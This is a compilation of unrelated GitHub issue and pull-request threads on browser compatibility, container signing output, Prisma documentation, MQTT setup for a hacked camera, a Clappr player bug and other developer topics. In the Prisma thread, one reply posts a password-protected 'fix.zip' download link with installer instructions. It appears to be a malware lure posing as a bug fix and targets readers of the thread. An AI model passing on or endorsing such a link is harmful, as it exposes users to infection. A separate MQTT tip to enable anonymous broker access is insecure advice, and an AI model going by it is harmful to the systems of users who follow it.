Doesn't currently work in IE11

On IE11, Facebook.github.io/draft-js doesn't show the editor. Similarly for a basic editor running locally.
if (!query.startsWith(name)) --> Object doesn't support property or method 'startsWith'

Ah right, we'll need to include some polyfills.

Issues and Pitfalls: IME and Internet Explorer should be updated to reflect these issues.

@zpao can you give me an idea of which polyfills might one need to include?

Based on the above failure, something that implements
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith,
pretty much any ES6 polyfill should work.
On Saturday, February 27, 2016, Taylor<EMAIL_ADDRESS>wrote:

@zpao https://github.com/zpao can you give me an idea of which
polyfills might one need to include?
—
Reply to this email directly or view it on GitHub
https://github.com/facebook/draft-js/issues/83#issuecomment-189762309.

I've created a pull request, that fixes the test site for IE9+. https://github.com/facebook/draft-js/pull/130

Sorry, just noticed the existing pull request. Never mind!


Add http link for image field in the CMS.

To redirect to other page on image click

Found that defining a custom field is a great way to do it

There is another plugin called "WPgraphQL for Advanced Custom Fields" which helps to link the custom field to graphQL.

Completed, now the Media file in CMS can be updated by adding an image field. The images in home page > "member organizations" has links now, which is provided by the CMS.


update docker nv2 output to reflect manifest references

docker nv2 push $IMAGE generates:
The push refers to repository [registry.wabbit-networks.io/net-monitor]
8ea3b23f387b: Preparing
8ea3b23f387b: Pushed
v1: digest: sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49 size: 527
Pushing signature
signature: digest: sha256:dfad94dbda48a0a221a6196ee802b628d84a1551fecac6e94af306aff2f7b07d size: 2534
link: digest: sha256:8eb7394c8f287ebd0e84a4659f37a2688c6e07e39906933ccb83d9011fb29034 size: 470

It denotes:

signature digest of ...b07d
link digest of ...9034

However, when running oras discover $IMAGE --plain-http --output-json, the following output is generated:
{
  "digest": "sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49",
  "links": [
    {
      "digest": "sha256:8eb7394c8f287ebd0e84a4659f37a2688c6e07e39906933ccb83d9011fb29034",
      "manifest": {
        "schemaVersion": 2,
        "mediaType": "application/vnd.oci.artifact.manifest.v1+json",
        "artifactType": "application/vnd.cncf.notary.v2",
        "blobs": [
          {
            "mediaType": "application/vnd.cncf.notary.signature.v2+jwt",
            "digest": "sha256:dfad94dbda48a0a221a6196ee802b628d84a1551fecac6e94af306aff2f7b07d",
            "size": 2534
          }
        ],
        "manifests": [
          {
            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
            "digest": "sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49",
            "size": 527
          }
        ]
      }
    }
  ]
}

While it's accurate the blob of the signature is ...b07d, we wish to denote the manifest reference between the signature manifest to the manifest of the $IMAGE reference
In the above example, docker push $IMAGE should generate:
The push refers to repository [registry.wabbit-networks.io/net-monitor]
8ea3b23f387b: Preparing
8ea3b23f387b: Pushed
v1: digest: sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49 size: 527
Pushing signature
signature manifest digest: sha256:8eb7394c8f287ebd0e84a4659f37a2688c6e07e39906933ccb83d9011fb29034 size: 470
refers to manifest: digest: sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49 size: 2534

@shizhMSFT

refers to manifest: is reduandant as it contains the same information as this line:
v1: digest: sha256:31c6d76b9a0af8d2c0a7fc16b43b7d8d9b324aa5ac3ef8c84dc48ab5ba5c0f49 size: 527

Resolved by 0d019d4481d69a3844a7f0352b1c2a1c44846695
Here is the output:
The push refers to repository [<IP_ADDRESS>:5000/test]
f22b99068db9: Preparing
f22b99068db9: Layer already exists
latest: digest: sha256:1b26826f602946860c279fce658f31050cff2c596583af237d971f4629b57792 size: 525
Pushing signature
signature manifest digest: sha256:f60969742cf8009e923fb9041ca1b3a6f5cd95ac2a30cbebb850ffcf76e8b3ab size: 470

@shizhMSFT looking at 0d019d4, it looks like you changed the label, but didn't change the digest references.
The description above describes the actual digest values are mixed up and we're referencing the blob digest, rather than the manifest digest

In this commit 0d019d4, I removed the digest of the signature blob to reduce confusion.
The signature manifest digest output is indeed the manifest digest. Note that the artifactDesc is the descriptor of the signature artifact manifest.


Add tabindex support, bower.json, refactor scroll-to-center

Hi!
I'd like to contribute few features we've implemented for our project Video XBlock

Add bower.json to make your plugin installable with Bower.
Move scroll-to-center code to src.
Add tabindex option. It's essential for a11y support. I.e. makes transcripts navigable via keyboard only.
Bump version to 0.8.1

Looking forward to hearing from you.

Hi @walsh9,
I hope you're doing well.
Any change this PR can be merged? How can I help you with this?
Best regards,
Alexander

Hey, thanks for the reminder. This looks good. Thanks!

Hey, thanks for merging! 🎉


Not working documentation example

In client extensions there's a transaction example:
const prisma = new PrismaClient().$extends({
  query: {
    user: {
      // Get the input `args` and a callback to `query`
      async findFirst({ args, query, operation }) {
        const [result] = await prisma.$transaction([query(args)]) // wrap the query in a batch transaction, and destructure the result to return an array
        return result // return the first result found in the array
      },
    },
  },
})

Reference: https://www.prisma.io/docs/orm/prisma-client/client-extensions/query#wrap-a-query-into-a-batch-transaction
But the inner await prisma.$transaction is not defined because we are just now defining the prisma variable (const prisma = new PrismaClient().$extends({ ...)
So this example is broken

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."


what to do after fang-hack is installed?

i have the xiaofang 1s with arm chip
fang-hack is successfully installed and rtsp stream works (checked with vlc)
now what do i do?
i just cant figure out how to install mqtt, im very new to all this linux commands.
if i understand it correctly, ill be installing mqtt on my raspberry pi(thats where my homebridge is installed), and my xiaofang cam is good as it is now?

Did you get anywhere with this? My next step is the MQTT stuff and I'm a bit stuck

Did you get anywhere with this? My next step is the MQTT stuff and I'm a bit stuck

Check this out https://github.com/sahilchaddha/homebridge-dafang/blob/master/Setup_MQTT.md
Let me know if you face any other issue

https://iot4beginners.com/mosquitto-mqtt-broker-on-raspberry-pi/
Hint: if you want the broadest compatibility with MQTT configs in various plugins, create a password file as described in the article, but also put "allow_anonymous true" in /etc/mosquitto/mosquitto.conf. This will allow both authenticated and anonymous connections.


Make mapper map array > object > object > string

Status: Created branch, created test, tried to solve, made test succeed, made other tests fail.

@branchedelac  see the commit referenced above. It seems it was the properties without types that made it fail.

@fontanka16  What do you mean by "properties without a type"? I wonder if there was an error in the test?
Looking at https://github.com/folio-org/acq-models/blob/master/mod-orgs/schemas/interface_credential.json -- which is where I encountered this -- all the properties (except id, but I've seen that in other schemas) appear to have types.

Here is one example from the Composite POL:

There were others as well. Let me look them up. Or, could this have happened in the code somehow?

Did you look at the test and changes I made to this branch?
In the test schema I didn't include any of the "id" fields.

Or were you saying that the missing types is what made the other tests in this branch fail after I'd made the new one run successfully?

Yes. Exactly.
From: branchedelac @.>
Sent: Monday, 20 February 2023 10:13
To: FOLIO-FSE/folio_migration_tools @.>
Cc: Theodor Tolstoy @.>; Mention @.>
Subject: Re: [FOLIO-FSE/folio_migration_tools] Make mapper map array > object > object > string (Issue #502)
CAUTION: External E-mail
Or were you saying that the missing types is what made the other tests in this branch fail after I'd made the new one run successfully?
—
Reply to this email directly, view it on GitHubhttps://nam10.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FFOLIO-FSE%2Ffolio_migration_tools%2Fissues%2F502%23issuecomment-1436595742&data=05|01|ttolstoy%40ebsco.com|5da1fc1a013147283b8d08db1322b01c|50fa36ca7dd344f19e3f1bf39a3963a5|0|0|638124811938221248|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=oGhCulT9mBNVIEvom%2BcW332TrqnDegKyp3dMoqcv%2BUg%3D&reserved=0, or unsubscribehttps://nam10.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAAOOP4DB3FBCAN4EFPPVVHDWYMYRBANCNFSM6AAAAAAUXYA3HU&data=05|01|ttolstoy%40ebsco.com|5da1fc1a013147283b8d08db1322b01c|50fa36ca7dd344f19e3f1bf39a3963a5|0|0|638124811938221248|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=z8ECWkZJkrWs1GKMayCbdLOiOfSY1KHe2V94XCtJfBM%3D&reserved=0.
You are receiving this because you were mentioned.Message ID<EMAIL_ADDRESS>

@fontanka16 Have you merged the fix for this into main yet? I need it to go ahead with my organization work.

Not yet!
From: branchedelac @.>
Sent: Wednesday, 22 February 2023 17:32
To: FOLIO-FSE/folio_migration_tools @.>
Cc: Theodor Tolstoy @.>; Mention @.>
Subject: Re: [FOLIO-FSE/folio_migration_tools] Make mapper map array > object > object > string (Issue #502)
CAUTION: External E-mail
@fontanka16https://nam10.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Ffontanka16&data=05|01|ttolstoy%40ebsco.com|ca52022c9ef74e85351708db14f26b73|50fa36ca7dd344f19e3f1bf39a3963a5|0|0|638126803655741005|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=mT%2FjBIwDPJPbb7r4r1TJXhbclyLdri59e%2BGp9YEavco%3D&reserved=0 Have you merged the fix for this into main yet? I need it to go ahead with my organization work.
—
Reply to this email directly, view it on GitHubhttps://nam10.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FFOLIO-FSE%2Ffolio_migration_tools%2Fissues%2F502%23issuecomment-1440371880&data=05|01|ttolstoy%40ebsco.com|ca52022c9ef74e85351708db14f26b73|50fa36ca7dd344f19e3f1bf39a3963a5|0|0|638126803655741005|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=znrlQVqqmrVBDn1t8r46X%2FSIJcZkNF9VLBuq4fX0p0I%3D&reserved=0, or unsubscribehttps://nam10.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAAOOP4G4NWCDVCBD4WGZUTTWYY5QFANCNFSM6AAAAAAUXYA3HU&data=05|01|ttolstoy%40ebsco.com|ca52022c9ef74e85351708db14f26b73|50fa36ca7dd344f19e3f1bf39a3963a5|0|0|638126803655741005|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=1lERZsCX7sfZ5vIODGndAtn%2BBi190YPkjHj0soEw2a8%3D&reserved=0.
You are receiving this because you were mentioned.Message ID<EMAIL_ADDRESS>

Apart from the original issue, I am also noticing some oddness wrt validating required properties for more deeply nested objects (the required properties of on the middle level are forgotten when you go a level deeper, before the actual validation occurs). But I don't want to dig to deep knowing that the method has already changed.


Typo fix in spring-cloud-data-flow/README.md

a small typo in spring-cloud-data-flow/README.md line 37
There are many such typos in the directory /incubator.

/assign @unguiculus

/ok-to-test

/lgtm


Plugin is not loaded in the phonegap emulator

Hi,
I'm trying to use the plugin without success.
I followed all the steps to install the plugin with cordova plugin install from the project's README but yet, whenever I try to use the plugin, window.plugins.socialsharing is null.
The "brother" plugin, window.plugins.insomnia just works great.
I followed all problems checks here with no problems:
http://stackoverflow.com/questions/26654231/cordova-plugins-not-working
Does anybody guess what is the problem? Any ideas how to solve it?

Which platforms you having issues with?

I dont fully understands the phonegap inner working mechanizms but maybe what I found is related to the problems.
In the first line of the SocialSharing.js I have
cordova.define("cordova-plugin-x-socialsharing.SocialSharing"...
and in the config.xml automatic config defined by the git project I have
      <feature name="SocialSharing">
        <param name="android-package" value="nl.xservices.plugins.SocialSharing" />
      </feature>

Maybe the difference here is the root of all evil?

am I correctly assume form your code that we are talking about Android?

Yup, android

If you added plugin localy via cli - can you please remove platform and add it again?
In case of plugman try to reinstall plugin.
Please check your app via Google Chrome inspect and try to find if there is any file missing on loda.

Removed the platform and installed again, same problem.
I find the problem when I'm using the emulator and view the app on my Nexus 5
No 404 in the chrome or something, but there are no plugins available at all when I'm using the web version. Is it a problem?

Oops, it seems that I have to run the browse through cordova :)
Now actually I see the insomnia and socialsharing inside the window.plugins

Good for you :)

Hmmm, I think that this is still an issuee, it won't work for other people too when trying the plugin. I dont know the problem but the issuee shouldn't be closed.

The bug is still there....


Adding kubernetes backend to stolon-chart

Details can be found in issue https://github.com/lwolf/stolon-chart/issues/18

Just made a diff of the same resource after few seconds.
resourceVersion and metadata.annotations.stolon-status are constantly getting change.

I can confirm that the issue is present is original examples of stolon, so I'm going to create issue about it there.

I can confirm the continuous change of the resources as well. I'll later go through all your valid comments and try out if the labeling is fixed (seems to be at least in master)

Updated the PR

Sorry I was sick the last few days.

I see your point about redundant labels on pods, and I'm fine with removing heritage from pods. But I still prefer to have component and chart labels everywhere. This labels are useful for manual selection.

Ok see that as well. Will change it as well as fix the two wrong labels you mentioned above :)

Shall we wait for https://github.com/sorintlab/stolon/issues/466 to resolve until merge or change it when it's finished (don't know when this could be part of a next release)
We anyway already use my fork for internal testing as our system is under heavy development still. I would'nt mind.

Let's release it as is, and update labels if and when that issue is resolved.
Thank you for the work on this.


SP 3121 - Backport of PDI-15661 - Spoon Crashes when Logging is Removed (java.lang.ArrayIndexOutOfBoundsException)

…n is selected  it created a non-sized array(length == 0) for the options and trying to display it in a table in "logging" tab in "executions resuts" caused  java.lang.ArrayIndexOutOfBoundsException as it tried to get the first element from the array. And also fixed unexpected additional row appending when you click on checkbox "Include?" in Transformation properties in "Logging" tab

Build Completed
:x: This pull request has errors. They will need to be addressed before it can be accepted. See below for more details. Some links are also available below for further assistance in addressing those issues.
Build Commands
ant -Dtestreports.dir=bin/reports/unit-test -f ui/build.xml clean-all resolve jacoco && ant -Dtestreports.dir=bin/reports/integration-test -f ui/build.xml jacoco-integration checkstyle publish-local

Cleanup Commands
rm -r ~/.ivy2/local || echo no publish local to remove

Changed files
  ui/src/org/pentaho/di/ui/core/widget/TableView.java

Unit test coverage change
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.
org.pentaho.di.ui.core.widget.TableView

Complexity Change: -.00%:small_red_triangle_down:
Line Change: -.00%:small_red_triangle_down:

License header violations

:heavy_exclamation_mark: Copyright year is not the current year on ui/src/org/pentaho/di/ui/core/widget/TableView.java. Found 2013. Was expecting 2016

@ArtsiomYurhevich  please fix License header violation

Build Completed
:white_check_mark: This pull request has passed all validations.
Build Commands
ant -Dtestreports.dir=bin/reports/unit-test -f ui/build.xml clean-all resolve jacoco && ant -Dtestreports.dir=bin/reports/integration-test -f ui/build.xml jacoco-integration checkstyle publish-local

Cleanup Commands
rm -r ~/.ivy2/local || echo no publish local to remove

Changed files
  ui/src/org/pentaho/di/ui/core/widget/TableView.java

Unit test coverage change
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.
org.pentaho.di.ui.core.widget.TableView

Complexity Change: -.00%:small_red_triangle_down:
Line Change: -.00%:small_red_triangle_down:

@pamval, fixed the license header


Update Failed

Tried updating from 8.0 to 8.1 and got the error ''UPDATE FAILED" in red letters.

Wrong Github page.
I'm trying to work on that.

Oh, when I got the error it told me to go to this page. I did get it updated by replacing the boot.firm manually though so it's all good!


Beta support for Classroom World Map

Add map view and related tweaks to secret class options view.
Refactor classroom settings to be schema driven
Allow gems / level to be toggled.
Stub campaign view static

Coverage remained the same at 56.215% when pulling e41b7a59c5bd17e9966094e815ed847a60cb277d on classroom-options into c447d91d44268cd340db3c00b5663d8a14878b75 on master.

Coverage remained the same at 56.215% when pulling 72d9a27033ec2fcc74646bd0c062ef3df938ca90 on classroom-options into c447d91d44268cd340db3c00b5663d8a14878b75 on master.

Coverage increased (+0.01%) to 56.228% when pulling ac42186a16ae57623698913e116093f0bc0ada9a on classroom-options into c447d91d44268cd340db3c00b5663d8a14878b75 on master.


Error when running branch tests

Component
Forge
Have you ensured that all of these are up to date?

[x] Foundry
[ ] Foundryup

What version of Foundry are you on?
No response
What command(s) is the bug in?
--fork-url
Operating System
Windows
Describe the bug
When I use mubai's rpc, this problem occurs

It ran... But it lasted nearly an afternoon before it was all done

hey! can't really see the first image you posted. This seems like an RPC issue though no? If it took that long to run under a fork test it's probably because you're getting rate limited. I'd try another RPC and see if that solves the issue.

It recovered a little bit when I switched to another ETH node, I'm not sure if it's because of too many fuzzy scenarios being run or if it's a problem with RPCs

Closing as RPC issue.


Question about Efficiency

Hello, thanks for your insightful work!
I noticed that the steered heads are selected by iteratively steering each head with 1000 samples in each task. Therefore, for each task based on LLaMA-7B, there should be 1000x32x32 times of generation, which seems too time-consuming. Is there anything I missed?
Thanks!

Hello Jason,
Thanks for your great comments. Regarding profiling efficiency, the answer is yes. The total number of generation is 1000x32x32, which is not negligible. However, when compared to fine-tuning, inference-only profiling can still be efficient and acceptable. As an example, one trail of fine-tuning for 32000 steps will require the same number of forward pass (and additional backward pass) when having a regular batch size of 32. Not to mention that we need to run multiple trails to tune the hyperparameters and the fine-tuned models can only be applied to one task. In contrast, the model profiling is conducted only once per model and can be applied to multiple tasks.
In our experiments, we also observe the number of evaluation examples can be further reduced. Like, |D|=100 will also output the close ranking on heads. Nevertheless, it would definitely be an interesting question to further enhance the efficiency of the profiling algorithm :)
Hope this can answer your questions.
Thanks.

Thanks for your detailed explanation and excellent work!


Cli attempt

Hi,
I took a crack at making a Cli tool, as I noted in the commit, it's got a pretty significant limitation at the moment.

Using input("prompt") buffers the output of the prompt until user input has been given. This likely extends to other areas of user interaction as well. This also seemingly varies from terminal to terminal, PyCharms builtin terminal ignores this limitation and functions fine. Windows powershell and cmd both buffer the input, alongside the buffered input, both terminals also pass the prompt of the input to stderr instead of stdout.

I figured I'd let you take a glance and determine if you could spot any other methods of going about it.
While doing that I noticed that the method of getting the length was wrong in some edge cases. Those should be dealt with however, there is also an issue of CPython injecting content into the traceback after it's been pulled into the lower level environment. The new 3.10 suggestions don't appear in exceptions created by the traceback module at the moment, currently it seems the only way to match the sizing is the capture the output of stderr and parse that, but as always, that's a bit iffy.

The traceback module only creates up to not defined, everything past that is generated after the exception has been fired off.

I looked at the code and the main looks a bit too hacky for me. But you laid the groundwork. I've sent you a PR on the branch so that you can see what I've done. As for CPython injecting text in the error messages, I haven't updated to python3.10 yet, If you could create an issue I could look into it once I have updated.

If you merge it I can then merge this PR with the changes you made to setup.py


Diabetes measures

The diabetes paper should be published within the next few weeks and it would be useful to display diabetes measures on the site (similar to tamoxifen #810 - separated from the standard measures ). There are several drugs to consider which ideally should each be displayed separately as individual measures, perhaps grouped onto one page to be displayed as a set, or grouped into one measure (which can be listed on the yet-to-be-created "research measures" page), but able to be separated out in a similar way to the low-priority measures.

[ ] Helen to write the measures
[ ] Collectively think about how best to display/group

Closing (for now) as users can easily look at this on analyse page


fix/ AddBlockError on blocks older than initial height

Fixes
This PR introduces a way to ignore blocks with height lower than the initial height.
Types of changes
What types of changes does your code introduce? (A breaking change is a fix or feature that would cause existing functionality and APIs to not work as expected.)
Put an x in the box that applies

[x] Non-breaking fix (non-breaking change which fixes an issue)
[ ] Breaking fix (breaking change which fixes an issue)
[ ] Non-breaking feature (non-breaking change which adds functionality)
[ ] Breaking feature (breaking change which adds functionality)
[ ] Refactor (non-breaking change which changes implementation)
[ ] Messy (mixture of the above - requires explanation!)

Checklist
Put an x in the boxes that apply.

[x] I have read the CONTRIBUTING doc
[x] I am making a pull request against the main branch (left side). Also you should start your branch off our main.
[x] Lint and unit tests pass locally with my changes
[x] I have added tests that prove my fix is effective or that my feature works
[x] I have locally run services that could be impacted and they do not present failures derived from my changes

Further comments
If this is a relatively large or complex change, kick off the discussion by explaining why you chose the solution you did and what alternatives you considered, etc...

The macOS failure is due to ipfs.

The E2E failure is also unrelated:
FAILED tests/test_registration.py::TestRegistrationStartUpFourAgentsCatchUp::test_run[4]


Point to Tracetest from define section

This PR provides a bit of information about using Tracetest with documentation.
Adnan's blog post and documentation on the Integrations page are excellent so I went for short and sweet?  Would it be better if I added a little bit more, like maybe the "we make it possible" list from the blog that gives more details about Tracetest or do we figure that anyone who is curious can click and get to all the information?
Do you have a video or anything else you would like linked?

This looks great @StackScribe!
If you wish, you can also include the official docs guide @danielbdias wrote.
He did a phenomenal job with it. 🙌

@adnanrahic , definitely a good addition -- thanks!  Kudos to Daniel for some great writing!  Alas, I can't resist playing the role of obnoxious writer and pointing out a typo in the Section 1 heading -- "Setup" is a noun or adjective; the verb form is two words, so "Set up".  ;-). Just happened to notice that one ;-)


refactor(report): remove unneeded code to filter coverage hits

As noted in https://github.com/xspec/xspec/pull/1918#discussion_r1626385686 the conditional logic is not needed. We are not actually filtering hits based on class name or associated element name. Those names have changed across recent Saxon releases and are not documented in the Saxon doc, so it is preferable not to depend on them.
Cc: @birdya22

The XSLTCoverageTraceListener.java is still producing the data that is no longer being used, although that doesn't cause any issues. Is there an intention to remove the generation of the data at some point?

If we end up switching to a histogram-based trace listener that is provided as part of Saxon, then we won't need the custom XSpec trace listener anymore. Even while we are still using the custom XSpec trace listener, we could potentially remove the generation of data that isn't used at run time after the data doesn't serve any other purpose. The purpose I think it serves at the moment is helping us understand (and react to) Saxon's behavior better.
Thanks for reviewing this change!


Question about Firefox

Browser:  Firefox 38
OS:  Linux Ubuntu 12.04
Clappr Version: latest
Video: http://www.streambox.fr/playlists/x36xhzz/x36xhzz.m3u8
Video: http://techslides.com/demos/sample-videos/small.ogv
Hello,
I'm trying test some videos in http://cdn.clappr.io/ and got some messages on console.
TypeError: Function.prototype.toString called on incompatible object clappr.min.js:3:17405
ReferenceError: Clappr is not defined
It's seems to happen only in older versions of Firefox (from 29 to 42).
Works fine on Firefox 43, 44 and 45.
Works fine on older versions like 25, 26, 27 and 28.
Is this an issue or a bug?
Thanks in advance

@primoitt83 we've changed some JS libraries and one of them break the compatibility with Firefox older than 39.
@clappr/core do you think we should investigate this?

@leandromoreira @primoitt83 it seems to be related to an issue on lodash that's already been fixed. Apparently, the offenders are lodash.result and lodash.uniqby. Both have been updated to version 4.3.0, but it probably wasn't included on Clappr 0.2.47.
I tested with Firefox on http://cdn.clappr.io (Clappr 0.2.47) and the same problem occurred, while testing on the same browser with current master (1419c45) the problem doesn't occur. I'll try to release another version as soon as I finish testing so we can fix this issue.

@primoitt83 can you test it against current master ? (then we can close it)

Browser: Firefiox 45.0.1
OS: Mac OS 10.11.4
Clappr Version: 0.2.47
Video: Any non-work address
Hello.
Event Clappr.Events.PLAYER_ERROR doesn't work, I try PLAYBACK_ERROR but it has not given the results.

@leandromoreira I will do it as soon as possible!
@towerz thanks man!!!

Hello again!
No luck!
TypeError: Function.prototype.toString called on incompatible object clappr.min.js:3:17405
ReferenceError: Clappr is not defined qualidade.html:65:10
O método getPreventDefault() não deve mais ser usado. No lugar, use defaultPrevented.
This is what i did it.
Download version 1419c45
https://github.com/clappr/clappr/archive/1419c451428d2b0f2fa23b37ab6a4d2c37b6f2ec.zip
Unzip in my site's folder.
Copy the file clappr.min.js from folder /dist to site's root.
Create a html file.
Try to test a video but no luck :(
Did i miss something for make it work?
Thanks again

@primoitt83 can you test using this dist? This is the latest build http://www.filedropper.com/dist
Usually you could:

git clone https://github.com/clappr/clappr.git
npm install
npm run release
use dist/ folder

@leandromoreira even using the dist,zip you uploaded i got the same error
TypeError: Function.prototype.toString called on incompatible object clappr.min.js:3:17423
ReferenceError: Clappr is not defined qualidade.html:65:10
O método getPreventDefault() não deve mais ser usado. No lugar, use defaultPrevented.
I'll try git method that you mentioned.
Thanks

I've tryed git method and good news!!
Everything is working properly now on Firefox 38!!
Here's my results:
OGV - works!
WEBM - works!
MP4 - works!
FlasHLS - works!
HLS - doesnt work. Probably old Firefox is not compatible. Firefox 45 and Chrome 34 works fine
You Clappr's guys rock!!!
Thank you so much for help me out!!
Cheers!  :+1: :D

Thank you @primoitt83 soon we'll post a new version.

@leandromoreira @towerz Any idea when you'll release a new version with this fix?  Thanks for all you do!

As I spoke, my Firefox updated itself to 45.0.2 and the issue is now fixed.

We're doing it right now @bikegriffith :)


Added instructions for proper operating systems

Also did some minor formatting changes and clarified some things.

Kinda feel like the whole installation thing should have its own .md file, since its taking up alot of space :thinking:

Yeah, I first split it up into several wiki pages for the readme to link to and then I realized i don't have access to add wiki pages so I had to undo it D:


import map file along with bootstrap-theme.css

otherwise chrome will complaint about failed to parse srouce map

Thanks!


Co-locate all the dependencies into root folder.

Discussed in https://github.com/Caleb-Cohen/Together/discussions/88
Summary
Combine both frontend and backend dependencies into one package.json at the root folder.
root
|
+-- ../              # existing files and folders
|
+-- client           # frontend related files and folder
|
+-- server           # backend related files and folder
|
+-- .eslintignore    # ignore files/folders that does not require linting
|
+-- .eslintrc.js     # linting configuration
|
+-- .perttierrc      # prettier configuration
|
+-- .package.json    # packages/dependencies for both client and server.

Good to close?


Uncaught TypeError: item.save is not a function

I Closed a tab: a document without title.
I have a init script:

atom.getCurrentWindow().on 'blur', ->
  for pane in atom.workspace.getPanes()
    for item in pane.items
      if item.isModified?
        item.save() if item.isModified()
      else
        item.save()

Atom Version: 1.8.0
System: Ubuntu 14.04.4
Thrown From: Atom Core
Stack Trace
Uncaught TypeError: item.save is not a function
At /home/peter/.atom/init.coffee:18

TypeError: item.save is not a function
    at /home/peter/.atom/init.coffee:18:14
    at /home/peter/.atom/init.coffee:14:5
    at CallbacksRegistry.apply (/usr/share/atom/resources/atom.asar/common/api/lib/callbacks-registry.js:58:39)
    at EventEmitter.<anonymous> (/usr/share/atom/resources/atom.asar/renderer/api/lib/remote.js:236:28)
    at emitThree (events.js:97:13)
    at EventEmitter.emit (events.js:175:7)

Config
{
  "core": {
    "themes": [
      "atom-dark-ui",
      "one-light-syntax"
    ]
  },
  "editor": {
    "tabLength": 4
  }
}

Installed Packages
# User
atom-autocomplete-php, v0.18.9
emmet, v2.4.3
php-analyser, v0.2.0
php-integrator-base, v1.0.7
php-integrator-linter, v1.0.1

# Dev
No dev packages

Your init script makes the assumption that all open pane items will implement the save method, but only TextEditor pane items will out of the box. If you had any UI tabs open, like Settings, or About, or Find results, then this would throw an error.
Since this is an issue with your init script and not with Atom, I'm going to close this out.
Also, we're trying to control the amount of Issues that we have to triage and track. For general questions, the Atom message board is where you'll probably be able to find answers faster.


745 zero load during grid outage

cmod_grid now sets "load" to zero during grid outage steps
To report inputs in the data tables, full_load now has the load without the outage steps
Fixes a bug with the shared inverter losses in the dc connected systems
Increases the tolerance for when a system is considered offline to cover edge cases with degradation

This means if the outage is a full year, the utility bill without system and the utility bill with system will just consist of fixed costs. This is a big change, so I'm happy to wait to merge the PR until we've had a chance to talk through the downstream effects at a meeting.
Closes https://github.com/NREL/SAM/issues/745

Hmmm... maybe further discussion is necessary. In using the attached project file, the dc connected electricity bill savings are:

and ac connected (same configuration) are: (varying seems okay based on differences in annual energy and battery sizing - however, I would not like to explain the differences!)

@sjanzou Ah, thanks for testing those additional cases. There were some situations where unmet losses were slipping through and pushing negative numbers into gen - which counted as small demand charges. I've cleaned that up in the latest push, and now see zero for all "electricity bill savings" locally.

Grid outage added as an hourly output, as per discussion at the SAM team meeting.
@cpaulgilman Does the label still make sense given that it's an output?

Perhaps it should be "grid outage in this timestep"?

"Grid outage in this time step" is good.


Allow to put a completely custom domain

While using First party domain is efficient, I use for my non-Wordpress sites a single domain for every websites ex:

site1.com > stats.site-master.com
site2.com > stats.site-master.com
etc

It would be awesome to be able to customize more for the Wordpress plugin than just the subdomain name

@Aviortheking Just to understand better. Do you want us to support WordPress Multisite with subdomains as well as subdirectory?

kinda, I use one domain for the analytics and others domains for all my websites

@Aviortheking I have taken a look on the Plausible Analytics plugin settings and I noticed that you can achieve this by implementing it as follows:

Domain Name: Change to site-master.com.
Custom Domain: Change to stats or whatever you want to set.

Following the steps will make sure that the custom domain called is stats.site-master.com. You can do this for any number of sites. For example, to develop and test Plausible Analytics plugin, I have created a local site with url: plausible.test. But, I use domain name trendyknow.com and custom domain stats.trendyknow.com.
Let me know if you have any questions.

this won't works as Plausible will put the datas on the Domain Name item and not on the real domain ex
I set Domain Name to site1.com and the custom Domain to stats.site-master.com
When I go to Plausible datas are being added to site-master.com while it should have added them to site1.com

thanks! i'm closing this as we will remove support for custom domains in the next major version of the plugin. we now recommend a proxy for all and will be introducing a proxy by default to the plugin instead


MudSelect popover content position not relative to MudDrawer

Bug type
Component
Component name
MudSelect
What happened?
I have created a MudSelect inside MudDrawer. When I have the option list open, and I scroll inside the MudDrawer, the position of the option list is not re-calculated.
After some investigation, I realize that MudSelect dropdown is calculated relative to the document body but needs to be relative to another element, like MudDrawer, when it is used inside other components.

Expected behavior
The position of the popover content from MudSelect should be relative to MudDrawer instead of document.body.
Reproduction link
https://try.mudblazor.com/snippet/cucIaSFwFSVKIEDU
Reproduction steps

Click top left Icon to open drawer
Click select open
Manually scroll the scrollbar inside drawer
Observe the position of popover content doesn't change
...

Relevant log output
No response
Version (bug)
6.12.*
Version (working)
No response
What browsers are you seeing the problem on?
Edge
On which operating systems are you experiencing the issue?
Windows
Pull Request

[ ] I would like to do a Pull Request

Code of Conduct

[X] I agree to follow this project's Code of Conduct

i have this Issues Too

isn't the actual problem that the popover doesn't close? Manually scrolling the scrollbar is outside the popover, it should close instead of stay static?


